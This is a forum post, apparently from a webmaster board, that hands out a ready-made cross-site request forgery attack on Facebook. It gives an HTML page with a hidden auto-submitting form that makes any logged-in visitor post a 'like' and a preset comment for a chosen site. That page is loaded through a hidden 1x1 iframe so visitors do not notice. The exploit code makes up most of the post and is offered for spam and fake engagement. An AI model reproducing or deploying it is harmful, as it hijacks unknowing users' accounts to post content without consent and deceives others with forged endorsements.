http://www.wjunction.com/showthread.php?t=93538
Although I tried selling it, Lifetalk figured out that it was possible to edit the comment / url so that it works with every site. To add it to your site, just follow the steps below:
Make a new HTML file and put this in it:
(thanks to Salman for making the code easier to read):
Edit the red part to whatever comment you would like the user to say about your site, then edit the green part and replace it with a link to your site.
You should now have all this code in a different HTML file on your site, to call it, just put this code in your index:
The link to your HTML file is the location where you put the code.
Although I tried selling it, Lifetalk figured out that it was possible to edit the comment / url so that it works with every site. To add it to your site, just follow the steps below:
Make a new HTML file and put this in it:
(thanks to Salman for making the code easier to read):
Code:
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<form action="http://www.facebook.com/ajax/connect/external_edge_comment.php?__a=1" target="_self" method="post">
<input type="hidden" name="comment" value="[COLOR=Red]It's so awesome!!![/COLOR]">
<input type="hidden" name="connect_text" value="0">
<input type="hidden" name="edge_type" value="like">
<input type="hidden" name="fb_dtsg" value="AQCIgEWD">
<input type="hidden" name="href" value="[COLOR=Green]http://ilovespam.com[/COLOR]">
<input type="hidden" name="lsd" value="">
<input type="hidden" name="node_type" value="link">
<input type="hidden" name="page_id" value="">
<input type="hidden" name="post_form_id" value="7cc4e3689351c4adb46558539be0e953">
<input type="hidden" name="post_form_id_source" value="AsyncRequest">
<input type="hidden" name="story_fbid" value="0">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
You should now have all this code in a different HTML file on your site, to call it, just put this code in your index:
Code:
<iframe src="[COLOR=Blue]LinkToYourHTMLFile[/COLOR]" width="1" height="1" />